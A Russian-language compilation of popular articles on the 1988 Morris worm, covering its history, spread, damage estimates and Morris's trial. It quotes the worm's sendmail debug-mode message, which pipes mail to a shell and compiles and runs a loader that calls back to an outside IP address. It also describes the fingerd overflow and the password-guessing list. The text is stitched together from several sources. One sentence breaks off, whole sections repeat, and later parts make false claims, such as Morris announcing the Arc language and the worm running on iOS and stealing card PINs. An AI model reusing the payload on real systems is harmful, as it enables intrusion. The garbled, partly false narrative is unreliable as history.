Что такое «Червь Морриса»

Что такое «Червь Морриса»

21 год назад произошло событие навеки впечатавшее себя в историю интернета.

2 ноября 1988 года 99 строк кода вызвали двухдневный шоковый паралич еще молодого и неопытного в делах безопасности интернета.

Около 6000 VAX машин под управлением операционных систем SUN и BSD UNIX оказались зараженными невиданной доселе заразой. Многие администраторы были вынуждены отключить своих подопечных, чтобы хоть как-то остановить перегрузку компьютеров и распространение заразы.
Это был Червь Морриса или в простонародье просто Великий Червь. Из-за разрушительных последствий, которые он оказал на интернет как в плане общего простоя системы, так и психологического воздействия на представление о безопасности и надежности в сети (по аналогии с Великими Червями Толкиена). Неожиданность атаки и некоторые встроенные в червя механизмы вводили многих админов того времени в пограничные эмоциональные состояния. Реакция размазывалась по спектру от «отключить все!» до панического «нас атакуют!»

Создатель и инициатор червя, на тот момент студент Корнельского университета, Роберт Моррис-младший (старший в это время занимался прямо противоположными вещами, он занимал должность научного руководителя NCSC (National Computer Security Center)) запустил своего монстра с компьютера MIT (prep.ai.mit.edu - машина с открытым доступом), чтобы не привлекать внимания к своему университету. Зачем он это сделал - навсегда останется загадкой. По его собственным утверждениям, это был всего лишь эксперимент, вышедший из-под контроля. Впрочем, строго говоря, Червь и не нанес никакого прямого ущерба.

Небольшой список атакованных компьютеров

MIT, Университет штата Миннесота, Северная Каролина, Питтсбургский Университет, машины корпорации RAND, Стэнфорд, Беркли, Университет Карнеги-Меллона, Университет Мэриленда, Университет Пенсильвании, снова Массачусетский Технологический, машины Лаборатории Баллистических Исследований, Университет штата Колорадо и Университет Пурдью а также многие другие.

Векторы атаки Червя

Для распространения червь использовал несколько различных путей, сводящихся к эксплуатированию уязвимостей и простейшему подбору паролей доступа.

Червь состоял из двух частей: загрузчика (99 строк на языке C) и ядра, состоявшего из двух бинарных модулей - кода скомпилированного для BSD и такого же кода только под архитектуру Sun. Имена всех внутренних процедур имели осмысленные названия (например, doit или cracksome), что довольно сильно в дальнейшем облегчило дизассемблирование бинарников.

Червь внедрял свою копию на удаленные компьютеры и запускал ее. Каждый зараженный компьютер стремился заразить и все прочие связанные с ним машины. Червь был заточен для использования в BSD UNIX и SUN-3. Обнаружив, что такие машины подключены к зараженной, червь копировался на удаленный компьютер, запускался там, стремясь получить максимальный доступ к информации (используя ее только для продолжения взлома), и заражал соседние машины. Лавинообразно распространяясь по незащищенной сети червь множил свои копии в полном соответствии с теорией самовоспроизводящихся механизмов, основы которой заложил еще Джон фон Нейман.

Первое время никто ничего не понимал, но уже через несколько часов самые продвинутые админы начали действовать, кто как мог, кто-то отключал своих подопечных от сети и пытался их перезагружать в надежде снять перегрузку (что было совершенно напрасно, так как при перезапуске системы червь создавал еще несколько своих копий и загрузка системы только увеличивалась), кто-то бросался в панику отправляя в списки рассылки послания - «Нас атакуют!» (что тоже было напрасно, так как из-за действий червя списки не работали уже несколько часов), а кто-то искал причины мгновенного распространения червя.

В Беркли уже вечером того же дня понимают, что атака ведется через rsh и sendmail. В качестве меры предосторожности, начинается блокирование сетевых сервисов.

Через некоторое время, осознав масштаб возникшей проблемы Моррис сообщает своим друзьям о вышедшем из-под контроля эксперименте. Через некоторое время появился анонимный постинг в рассылку TCP-IP, вкратце описывающий, как остановить Червя. Автор постинга (Andy Sudduth) послал это сообщение после телефонного разговора с Моррисом, но, из-за перегрузки сетей и компьютеров, письмо не было отослано в течение примерно суток.

В скором времени независимо друг от друга разными людьми стали обнаруживаться векторы атаки червя.

Первым был выпотрошен демон sendmail. Кейт Бостик отправляет предупреждение о Черве и патчи к sendmail в список рассылки TCP-IP, новостную группу 4bsd-ucb-fixes и нескольким системным администраторам.

Червь использовал функцию «debug» демона sendmail, которая устанавливала отладочный режим для текущего сеанса связи. Дополнительная возможность отладочного режима заключается в том, чтобы посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP, использовалась разработчиками для отладки программы и в рабочей версии была оставлена по ошибке.

Через sendmail червь заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для каждой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.

Несколько часов спустя выяснилось, что заплатки sendmail не помогают, компьютеры заражаются каким-то другим способом. Из-за действий червя MILNET и ARPANET оказываются разъединены.

По прошествии еще нескольких часов разные люди в разных лабораториях независимо друг от друга обнаружили уязвимость и закончили патчи для демона fingerd.

Фрагмент кода fingerd:

{
char buf:
...
gets(buf);
}

Налицо классическая ситуация переполнения буфера (тогда она, видимо, еще не была классикой). Червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve («/bin/sh», 0, 0). Указанным способом атаковались только машины VAX с операционной системой 4.3 BSD, на компьютерах Sun такие атаки терпели неудачу.

Но и это еще не все. В никсах как тогда, так и сейчас имеется набор сервисов для удаленного выполнения программ сегодня для подобных целей используется ssh, а тогда его место занимали так называемые r-программы. Наиболее уязвимым местом в них была идея «доверия» - пользователи компьютеров, бывшие в списках «доверенных узлов», имели право запускать свои программы на «доверяющей» машине без какой-либо дополнительной проверки. Кроме того, отношение доверия часто было обоюдным. Червь пытался использовать программу запуска удаленного интерпретатора rsh для атаки других машин с полученным именем и паролем текущего пользователя либо вообще без аутентификации, если атакуемая машина «доверяла» данной.

Итак, Червь проникал на соседние с зараженной машины, используя дыру в sendmail, дыру в fingerd или «доверие» и rsh. При проникновении на атакуемый компьютер забрасывался загрузчик, команда на компиляцию и выполнение загрузчика, и стирание всех временных файлов. Затем загрузчик втягивал все три файла и пытался запустить сначала одно, потом другое тело. Если ни одно из двух тел не запускалось, загрузчик просто стирал и их, и себя, и прекращал работу.

Запустившись, Червь всячески маскировался - стирал свой выполняемый файл, шифровал оба тела, читал их в память, а с диска тоже стирал, и, насколько это возможно, модифицировал информацию о себе в таблице процессов.

Затем, собиралась информация о сетевых интерфейсах зараженного компьютера и о соседних компьютерах, и часть соседей подвергалась попыткам заражения. Те, которых удалось заразить, помечались как зараженные; те, которые заразить не удалось - как «иммунные». Хотя здесь в коде червя специалисты склонны усматривать ошибку, так как участок кода отвечающий за предотвращение повторного заражения машин содержал много ошибок.

Это имело ключевое значение для жизнестойкости червя: многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой, часто приводящей к отказу в обслуживании, в результате чего червь собственно и был обнаружен и обезврежен намного быстрей, чем если бы повторных заражений не было, хотя многократно зараженные машины распространяли червь быстрее, вероятно, пропорционально числу копий червь на машине, что и повлияло на молниеносность распространения, а отказы в обслуживании привели к панике и выходу из строя некоторых ключевых узлов, в результате чего сеть на время развалилась на подсети.

Подбор паролей осуществлялся довольно простым, но, в то же время, эффективным способом: использовалось четыре вариации на тему login пользователя, а также, список из примерно 200-400 слов. По некоторых сведениям, на отдельных компьютерах больше половины паролей были вскрыты таким образом.

Уже к вечеру 5 ноября основная масса зараженных узлов была вылечена, заплатки наложены, а в Беркли спецы вовсю препарировали бездыханную тушку Червя.

К моменту, когда в ФБР поняли, кто виновен в произошедшем, Моррис уже шел сдаваться с повинной.

След в истории

Для компьютерного сообщества это был шок. Были пересмотрены фундаментальные основы компьютерной безопасности. Ущерб, принесенный Червем Морриса был оценён примерно в 100 миллионов долларов (к таким оценкам следует относиться весьма и весьма осторожно, поскольку каковы методы их оценки, какие параметры считают, а какие нет - неизвестно).

По некоторым данным, Червь это единственная в истории компьютерная программа, потеснившая на первых полосах материалы о президентских выборах в США. Многие институты и организации на несколько недель и даже месяцев отключились от Интернета. Администраторы, не представляя о реальных масштабах опасности, решили перестраховаться.

Наиболее разумной мерой противодействия взлому, спровоцированной Червем, явилось образование

2 ноября 1988 года сеть ARPANET была атакована программой, впоследствии получившей название «червь Морриса» - по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сеть ARPANET (Advanced Research Projects Agency Network) была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США (DARPA, Defense Advanced Research Projects Agency) и явившаяся прототипом сети Интернет. Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, а также программами и массивами данных между крупнейшими исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерства Обороны США (DoD, Department of Defence of USA). Именно по заказу DoD был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х годов сеть насчитывала несколько десятков тысяч ЭВМ. ARPANET прекратила своё существование в июне 1990 года.
«Червь Морриса» был первым в истории развития вычислительной техники образцом вредоносного программного обеспечения, который использовал механизмы автоматического распространения по сети. Для этого использовалось несколько уязвимостей сетевых сервисов, а так же некоторые слабые места компьютерных систем, обусловленные недостаточным вниманием к вопросам безопасности в то время.

По словам Роберта Морриса, червь был создан в исследовательских целях. Его код не содержал в себе никакой «полезной» нагрузки (деструктивных функций). Тем не менее, из-за допущенных ошибок в алгоритмах работы, распространение червя спровоцировало так называемый «отказ в обслуживании», когда ЭВМ были заняты выполнением многочисленных копий червя и переставали реагировать на команды операторов. «Червь Морриса» практически парализовал работу компьютеров в сети ARPANET на срок до пяти суток. Оценка простоя - минимум 8 миллионов часов и свыше 1 миллиона часов временных затрат на восстановление работоспособности систем. Общие убытки в денежном эквиваленте оценивались в 98 миллионов долларов, они складывались их прямых и косвенных потерь.
К прямым потерям относились (32 миллиона долларов):
остановка, тестирование и перезагрузка 42700 машин;
идентификация червя, удаление, чистка памяти и восстановление работоспособности 6200 машин;
анализ кода червя, дизассемблирование и документирование;
исправление UNIX-систем и тестирование.
К косвенным потерям были отнесены (66 миллионов долларов):
потери машинного времени в результате отсутствия доступа к сети;
потери доступа пользователей к сети.
Впрочем, к этим оценкам нужно относится весьма и весьма осторожно.
Структурно червь состоял из трех частей - «головы» и двух «хвостов». «Голова» представляла собой исходный текст на языке C (99 строк) и компилировалась непосредственно на удаленной машине. «Хвосты» были идентичными, с точки зрения исходного кода и алгоритмов, бинарными файлами, но скомпилированными под разные типы архитектур. По замыслу Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» забрасывалась при помощи следующих методов:

  • использование отладочного режима в sendmail;
  • использование уязвимости типа «переполнение буфера» в сетевом сервисе fingerd;
  • подбор логина и пароля для удаленного выполнения программ (rexec);
  • вызов удаленного командного интерпретатора (rsh) путем подбора логина и пароля или используя механизм доверия.
Sendmail - самый старый сетевой сервис, обрабатывающий прием и отправку почты по протоколу SMTP. Во времена распространения червя, в Sendmail имелась недокументированная возможность - разработчиками был запрограммирован отладочный режим, который не должен был находится в рабочей версии программы и был оставлен по ошибке. Одна из возможностей отладочного режима заключалась в том, чтобы почтовое сообщение обрабатывалось не самим Sendmail, а другой программой. Пример почтового сообщения, отправляемого червем:
debug
mail from:
rcptto:<"|sed-e "1,/^$/d" | /bin/sh; exit 0">
data
cd /usr/tmp
cat >x14481910.с <<"EOF"
<текст программы l1.c>
EOF
cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quit
Как видно, из тела письма убирались заголовки (при помощи текстового препроцессора sed) и производилось сохранение файла исходного кода «головы». Далее командному процессору давались инструкции на компилирование кода «головы», запуск получившегося исполняемого файла и стирание временных файлов.
Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Это срабатывало только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS данной уязвимости не было.
Для использования метода распространения через rexec и rsh собирался список пользователей локальной машины. На его основе производился подбор наиболее часто используемых паролей, в надежде что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети, что впрочем оказалось недалеким от истины. Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной аутентификации по IP адресу удаленной машины. Такие адреса хранились в файлах /etc/hosts.equiv и.rhosts. Для большинства компьютеров доверие было взаимным, так что с большой долей вероятности, перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль
При подборе червь пробовал следующие варианты паролей:
  • пустой;
  • имя пользователя (user);
  • имя пользователя, написанное наоборот (resu);
  • двойной повтор имени пользователя (useruser);
  • имя или фамилия пользователя (John, Smith);
  • имя или фамилия пользователя в нижнем регистре (john, smith);
  • встроенный словарь размером 432 слова;
  • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.
Комплексное использование нескольких методов распространения значительно повлияло на массовое распространение червя в сети. Для поиска удаленных компьютеров производилось сканирование сети на основе информации из таблицы маршрутов и собственного IP адреса зараженной системы.
Червь использовал несколько приемов для затруднения своего обнаружения администраторами компьютеров:
  • удаление своего исполняемого файла после запуска;
  • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
  • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
  • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
  • все текстовые строки были закодированы путем применения операции xor 81h.
Несмотря на «грандиозность» задумки, червь имел в себе некоторые ошибки, как проектирования, так и реализации. Именно неправильно реализованный алгоритм проверки, не является ли система уже зараженной, привел к массовому распространению червя в сети, вопреки задумке его автора. На практике, компьютеры заражались многократно, что, во-первых, приводило к быстрому исчерпанию ресурсов, во-вторых - способствовало лавинообразному распространению червя в сети. По некоторым оценкам червь Морриса инфицировал порядка 6200 компьютеров. Сам разработчик, осознав масштабы результатов своего поступка, добровольно сдался властям и обо всем рассказал. Слушанье по его делу закончилось 22 января 1990 года. Изначально Моррису грозило до пяти лет лишения свободы и штраф в размере 25 тысяч долларов. В действительности приговор был достаточно мягок, суд назначил 400 часов общественных работ, 10 тысяч долларов штрафа, испытательный срок в три года и оплату расходов, связанных с наблюдением за осужденным.
Инцидент с «червем Морриса» заставил специалистов в области IT серьезно задуматься о вопросах безопасности, в частности именно после этого для повышения безопасности системы стало внедряться использование пауз после неправильного ввода пароля и хранение паролей в /etc/shadow, куда они перенесены из доступного на чтение всем пользователям файла /etc/passwd. Но наиболее важным событием стало создание в ноябре 1988 года координационного центра CERT (CERT Coordination Center, CERT/CC), деятельность которого связана с решением проблем безопасности в Интернете. Первым появившимся в декабре 1988 года бюллетенем безопасности CERT стало сообщение об уязвимостях, использованных червем. Примечательно, что многие технические решения, используемые «червем Морриса», такие как использование перебора паролей, компиляция кода загрузчика на удаленной ЭВМ под управлением *NIX систем (Slapper), сканирование сети для выявления целей и т.д. применяются и в современных образцах вредоносного программного обеспечения.
Интересно, что в том же самом 1988 году известный программист Питер Нортон довольно резко высказался в печати против самого факта существования компьютерных вирусов, называя их «мифом» и сравнивая шум вокруг этой темы с «рассказами о крокодилах, живущих в канализации Нью-Йорка». Всего два года спустя после заявления Нортона, в 1990 году, вышла первая версия антивирусной программы Norton AntiVirus.
И напоследок - в 1988 году, будучи под впечатлением от атаки червя Морриса, американская Ассоциация компьютерного оборудования объявила 30 ноября международным Днем защиты информации (Computer Security Day), который отмечается и по сей день.

Америка была в шоке, когда второго ноября 1988 года практически все компьютеры, имевшие доступ к интернету (в Америке), около восьми часов утра, что называется, «зависли». Сначала это отнесли к сбоям в энергосистеме. Но потом, когда случилась эпидемия, вызванная "Червем Морриса", стало ясно, что терминалы были атакованы неизвестной на тот момент программой, содержавшей код, не поддающийся имеющимися средствами расшифровке. Неудивительно! В то время компьютеры, подключенные к интернету, исчислялись всего лишь десятками тысяч (примерно 65 000 терминалов) и большей частью были представлены в правительственных кругах или органах самоуправления.

Вирус «Червь Морриса»: что это такое?

Сам вирус этого типа явился первым в своем роде. Именно он стал родоначальником всех остальных программ такого типа, которые сегодня отличаются от прародителя достаточно сильно.

Роберт Моррис «червь» свой создал, даже не догадываясь о том, какую популярность он завоюет и какой вред сможет нанести экономике. Вообще, как считается, это был, как сейчас говорят, чисто спортивный интерес. Но на самом деле внедрение в тогдашнюю глобальную сеть APRANET, к которой, кстати, были подключены и правительственные, и военные организации, вызвало такой шок, от которого Америка не могла оправиться в течение долгого времени. По предварительным оценкам компьютерный вирус «Червь Морриса» нанес ущерб порядка 96,5 миллиона долларов США (и это только сумма, известная из официальных источников). Сумма, приведенная выше, является официальной. А то, что не учтено, наверное, и разглашению не подлежит.

Создатель компьютерного вируса «Червь Морриса» Роберт Моррис: немного фактов из биографии

Сразу же возникает вопрос о том, кем же был этот гений-программист, сумевший на несколько дней парализовать компьютерную систему североамериканского континента.

Тот же уважаемый ресурс «Википедия» свидетельствует о том, что во свое время Роберт являлся аспирантом Корнеллского университета Р. Т. Морриса (случайность или совпадение?), на факультете вычислительной техники.

История создания и появления вируса

Как считается, изначально в вирусе не содержалось никакой угрозы. Фред Коэн изучал «Червя Морриса» на основе своих выкладок о вредоносных кодах и выявил в нем интересную особенность. Оказалось, что это вовсе и не вредоносная программа.

«Червь Морриса» (хотя его сегодня и принято считать вирусом с подачи Пентагона) изначально был создан как средство тестирования уязвимостей систем на основе «интранет» (неудивительно, что пострадали в первую очередь пользователи APRANET).

Как вирус воздействует на компьютерную систему

Сам Роберт Моррис (создатель вируса) всячески открещивается от последствий, нанесенных его «детищем» Соединенным Штатам, утверждая, что распространение по сети спровоцировала ошибка в коде самой программы. Учитывая то, что образование он получал в университете, тем более на факультете информатики, с этим трудно согласиться.

Итак, так называемый «Червь Морриса» изначально был ориентирован на перехват сообщений между крупными организациями (включая правительственные и военные). Суть воздействия сводилась к тому, чтобы подменить исходный текст письма, отправляемого тогда еще в сети APRANET, с удалением заголовков и окончаний в отладочном режиме Sendmail или при переполнении буфера сетевого fingerd-сервиса. Первая часть в новом письме содержала код, компилированный на удаленном терминале, а третья состояла из такого же бинарного кода, но адаптированного под разные компьютерные системы.

Кроме того, был использован специализированный инструмент, позволявший подбирать логины и пароли при помощи удаленного доступа для выполнения программ (rexec), а также вызова удаленного интерпретатора (rsh), который на командном уровне использовал так называемый «механизм доверия» (сейчас это больше ассоциируется с сертификатами).

Скорость распространения

Как оказывается, создатель вируса был вовсе не глупым человеком. Он сразу сообразил, что чем длиннее код, тем дольше вирус внедряется в систему. Именно поэтому всем известный «Червь Морриса» содержит минимальную двоичную (но компилированную) комбинацию.

За счет этого и произошел тот самый бум, о котором теперь на уровне государственных разведывательных служб почему-то принято умалчивать, хотя угроза при самокопировании распространялась практически в геометрической прогрессии (каждая копия вируса способна была создавать от двух и более собственных аналогов).

Ущерб

Никто, однако, не думает о том, какой урон может быть нанесен той же системе безопасности. Тут проблема, скорее, в том, каков сам по себе компьютерный вирус «Червь Морриса». Дело в том, что изначально при проникновении на пользовательский терминал вирус должен был определять, содержится ли в системе его копия. Если таковая имелась, вирус оставлял машину в покое. В противном случае - внедрялся в систему и создавал свой клон на всех уровнях использования и управления. Это касалось и всей операционной системы в целом, и установленных пользовательских программ, и приложений или апплетов.

Официальная цифра, называемая департаментом США (примерно 96-98 миллионов долларов ущерба), явно занижена. Если посмотреть только на первые три дня, это уже было порядка 94,6 миллиона). За последующие дни сумма выросла не так сильно, но вот рядовые пользователи пострадали (об этом официальная пресса и департамент США молчат). Конечно, в то время число компьютеров, подключенных к глобальной паутине, составляло примерно 65 тысяч только в США, но и из них пострадал чуть ли не каждый четвертый терминал.

Последствия

Нетрудно догадаться, что суть воздействия сводится к тому, чтобы полностью лишить систему работоспособности на уровне потребления ресурсов. Большей частью это относится к сетевым подключениям.

Вирус в самом простом случае создает собственные копии и инициирует запуск процессов, маскирующихся под системные службы (теперь даже запущенные от имени администратора в списке процессов «Диспетчера задач»). И удалить угрозы именно из этого списка не всегда представляется возможным. Поэтому при завершении процессов, связанных с системой и пользователем, действовать нужно крайне осторожно.

А что Моррис?

«Червь Морриса» и его создатель на данный момент чувствуют себя очень даже неплохо. Сам вирус успешно изолирован усилиями тех же антивирусных лабораторий, поскольку они имеют исходный код, на котором апплет и написан.

Моррис в 2008 году анонсировал выход языка Arc, основанного на «Липс», а в 2010 году стал номинантом и обладателем премии имени Вейзера.

Кстати, еще один интересный факт состоит в том, что государственный обвинитель Марк Раш признал, что вирус вывел из строя множество компьютеров путем принудительного завершения работы, но все равно не нанес умышленного повреждения данных пользователей любого уровня, поскольку изначально был не деструктивной программой, а попыткой проверки возможности вмешательства во внутреннюю структуру имеющихся систем. По сравнению с тем, что изначально злоумышленнику (добровольно сдавшемуся властям) грозило тюремное заключение сроком до пяти лет и 250 тысяч долларов штрафа, он отделался тремя годами условно, штрафом в 10 тысяч долларов и 400 часами общественных работ. Как посчитали многие юристы того (кстати, и нынешнего) времени, это нонсенс.

Несколько итогов

Конечно, сегодня опасаться такой угрозы, которую собой на ранних порах зарождения компьютерной техники представлял "Вирус Морриса", естественно, не стоит.

Но вот что интересно. Как считается, воздействию вредоносных кодов подвержены в основном ОС Windows. А тут вдруг выясняется, что тело вируса изначально было разработано для UNIX-систем. Что это означает? Да только то, что обладателям Linux и Mac OS, которые принципиально основаны на платформе UNIX, пора приготовить средства защиты (хотя и считается, что вирусы именно на эти ОС не воздействуют вообще, в смысле того, что они не были написаны). Вот тут многие пользователи «маков» и «линуксоиды» глубоко заблуждаются.

Америка была в шоке, когда второго ноября 1988 года практически все компьютеры, имевшие доступ к интернету (в Америке), около восьми часов утра, что называется, «зависли». Сначала это отнесли к сбоям в энергосистеме. Но потом, когда случилась эпидемия, вызванная "Червем Морриса", стало ясно, что терминалы были атакованы неизвестной на тот момент программой, содержавшей код, не поддающийся имеющимися средствами расшифровке. Неудивительно! В то время компьютеры, подключенные к интернету, исчислялись всего лишь десятками тысяч (примерно 65 000 терминалов) и большей частью были представлены в правительственных кругах или органах самоуправления.

Вирус «Червь Морриса»: что это такое?

Сам типа явился первым в своем роде. Именно он стал родоначальником всех остальных программ такого типа, которые сегодня отличаются от прародителя достаточно сильно.

Роберт Моррис «червь» свой создал, даже не догадываясь о том, какую популярность он завоюет и какой вред сможет нанести экономике. Вообще, как считается, это был, как сейчас говорят, чисто спортивный интерес. Но на самом деле внедрение в тогдашнюю глобальную сеть APRANET, к которой, кстати, были подключены и правительственные, и военные организации, вызвало такой шок, от которого Америка не могла оправиться в течение долгого времени. По предварительным оценкам компьютерный вирус «Червь Морриса» нанес ущерб порядка 96,5 миллиона долларов США (и это только сумма, известная из официальных источников). Сумма, приведенная выше, является официальной. А то, что не учтено, наверное, и разглашению не подлежит.

Создатель компьютерного вируса «Червь Морриса» Роберт Моррис: немного фактов из биографии

Сразу же возникает вопрос о том, кем же был этот гений-программист, сумевший на несколько дней парализовать компьютерную систему североамериканского континента.

Тот же уважаемый ресурс «Википедия» свидетельствует о том, что во свое время Роберт являлся аспирантом Корнеллского университета Р. Т. Морриса (случайность или совпадение?), на факультете вычислительной техники.

История создания и появления вируса

Как считается, изначально в вирусе не содержалось никакой угрозы. Фред Коэн изучал «Червя Морриса» на основе своих выкладок о вредоносных кодах и выявил в нем интересную особенность. Оказалось, что это вовсе и не вредоносная программа.

«Червь Морриса» (хотя его сегодня и принято считать вирусом с подачи Пентагона) изначально был создан как средство тестирования уязвимостей систем на основе «интранет» (неудивительно, что пострадали в первую очередь пользователи APRANET).

Как вирус воздействует на компьютерную систему

Сам Роберт Моррис (создатель вируса) всячески открещивается от последствий, нанесенных его «детищем» Соединенным Штатам, утверждая, что распространение по сети спровоцировала ошибка в коде самой программы. Учитывая то, что образование он получал в университете, тем более на факультете информатики, с этим трудно согласиться.

Итак, так называемый «Червь Морриса» изначально был ориентирован на перехват сообщений между крупными организациями (включая правительственные и военные). Суть воздействия сводилась к тому, чтобы подменить исходный текст письма, отправляемого тогда еще в сети APRANET, с удалением заголовков и окончаний в отладочном режиме Sendmail или при переполнении буфера сетевого fingerd-сервиса. Первая часть в новом письме содержала код, компилированный на удаленном терминале, а третья состояла из такого же бинарного кода, но адаптированного под разные компьютерные системы.

Кроме того, был использован специализированный инструмент, позволявший подбирать логины и пароли при помощи удаленного доступа для выполнения программ (rexec), а также вызова удаленного интерпретатора (rsh), который на командном уровне использовал так называемый «механизм доверия» (сейчас это больше ассоциируется с сертификатами).

Скорость распространения

Как оказывается, создатель вируса был вовсе не глупым человеком. Он сразу сообразил, что чем длиннее код, тем дольше вирус внедряется в систему. Именно поэтому всем известный «Червь Морриса» содержит минимальную двоичную (но компилированную) комбинацию.

За счет этого и произошел тот самый бум, о котором теперь на уровне государственных разведывательных служб почему-то принято умалчивать, хотя угроза при самокопировании распространялась практически в геометрической прогрессии (каждая копия вируса способна была создавать от двух и более собственных аналогов).

Ущерб

Никто, однако, не думает о том, какой урон может быть нанесен той же системе безопасности. Тут проблема, скорее, в том, каков сам по себе компьютерный вирус «Червь Морриса». Дело в том, что изначально при проникновении на пользовательский терминал вирус должен был определять, содержится ли в системе его копия. Если таковая имелась, вирус оставлял машину в покое. В противном случае - внедрялся в систему и создавал свой клон на всех уровнях использования и управления. Это касалось и всей операционной системы в целом, и установленных пользовательских программ, и приложений или апплетов.

Официальная цифра, называемая департаментом США (примерно 96-98 миллионов долларов ущерба), явно занижена. Если посмотреть только на первые три дня, это уже было порядка 94,6 миллиона). За последующие дни сумма выросла не так сильно, но вот рядовые пользователи пострадали (об этом официальная пресса и департамент США молчат). Конечно, в то время число компьютеров, подключенных к глобальной паутине, составляло примерно 65 тысяч только в США, но и из них пострадал чуть ли не каждый четвертый терминал.

Последствия

Нетрудно догадаться, что суть воздействия сводится к тому, чтобы полностью лишить систему работоспособности на уровне потребления ресурсов. Большей частью это относится к сетевым подключениям.

Вирус в самом простом случае создает собственные копии и инициирует запуск процессов, маскирующихся под системные службы (теперь даже запущенные от имени администратора в списке процессов «Диспетчера задач»). И удалить угрозы именно из этого списка не всегда представляется возможным. Поэтому при завершении процессов, связанных с системой и пользователем, действовать нужно крайне осторожно.

А что Моррис?

«Червь Морриса» и его создатель на данный момент чувствуют себя очень даже неплохо. Сам вирус успешно изолирован усилиями тех же антивирусных лабораторий, поскольку они имеют исходный код, на котором апплет и написан.

Моррис в 2008 году анонсировал выход языка Arc, основанного на «Липс», а в 2010 году стал номинантом и обладателем премии имени Вейзера.

Кстати, еще один интересный факт состоит в том, что государственный обвинитель Марк Раш признал, что вирус вывел из строя множество компьютеров путем принудительного завершения работы, но все равно не нанес умышленного повреждения данных пользователей любого уровня, поскольку изначально был не деструктивной программой, а попыткой проверки возможности вмешательства во внутреннюю структуру имеющихся систем. По сравнению с тем, что изначально злоумышленнику (добровольно сдавшемуся властям) грозило тюремное заключение сроком до пяти лет и 250 тысяч долларов штрафа, он отделался тремя годами условно, штрафом в 10 тысяч долларов и 400 часами общественных работ. Как посчитали многие юристы того (кстати, и нынешнего) времени, это нонсенс.

Несколько итогов

Конечно, сегодня опасаться такой угрозы, которую собой на ранних порах зарождения компьютерной техники представлял "Вирус Морриса", естественно, не стоит.

Но вот что интересно. Как считается, воздействию вредоносных кодов подвержены в основном ОС Windows. А тут вдруг выясняется, что тело вируса изначально было разработано для UNIX-систем. Что это означает? Да только то, что обладателям Linux и Mac OS, которые принципиально основаны на платформе UNIX, пора приготовить средства защиты (хотя и считается, что вирусы именно на эти ОС не воздействуют вообще, в смысле того, что они не были написаны). Вот тут многие пользователи «маков» и «линуксоиды» глубоко заблуждаются.

Как оказывается, даже на мобильных платформах под управлением iOS некоторые угрозы (в том числе и «Червь Морриса») начали проявлять свою деятельность. Сначала это реклама, затем - ненужный софт, потом… - краш системы. Тут невольно и задумаешься. А ведь у истоков этого всего стоял какой-то аспирант, допустивший ошибку в собственной программе-тестере, которая и привела к появлению того, что сегодня принято называть компьютерными червями. А у них, как известно, и принципы воздействия на системы несколько отличаются.

В некотором смысле такие вирусы становятся шпионами (spyware), которые не только грузят систему, но и еще в дополнение ко всему крадут пароли доступа к сайтам, логины, PIN-коды кредитных или дебетных карт и еще бог знает что, о чем обычный пользователь может даже не догадываться. В общем, воздействие этого вируса и ему подобных на данном этапе развития компьютерных технологий чревато достаточно серьезными последствиями, несмотря даже на самые современные способы защиты. И именно в отношении компьютерных червей следует быть максимально бдительным.

Вот такая занимательная и неординарная история, которая еще долго не забудется. Интересного и безопасного вам времяпровождения в сети - без хищения данных, перегруза системы и любых шпионов вроде "червя Морриса"!

2 ноября 1988 года сеть ARPANET была атакована программой, впоследствии получившей название «червь Морриса» - по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сеть ARPANET (Advanced Research Projects Agency Network) была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США (DARPA, Defense Advanced Research Projects Agency) и явившаяся прототипом сети Интернет. Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, а также программами и массивами данных между крупнейшими исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерства Обороны США (DoD, Department of Defence of USA). Именно по заказу DoD был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х годов сеть насчитывала несколько десятков тысяч ЭВМ. ARPANET прекратила своё существование в июне 1990 года.
«Червь Морриса» был первым в истории развития вычислительной техники образцом вредоносного программного обеспечения, который использовал механизмы автоматического распространения по сети. Для этого использовалось несколько уязвимостей сетевых сервисов, а так же некоторые слабые места компьютерных систем, обусловленные недостаточным вниманием к вопросам безопасности в то время.

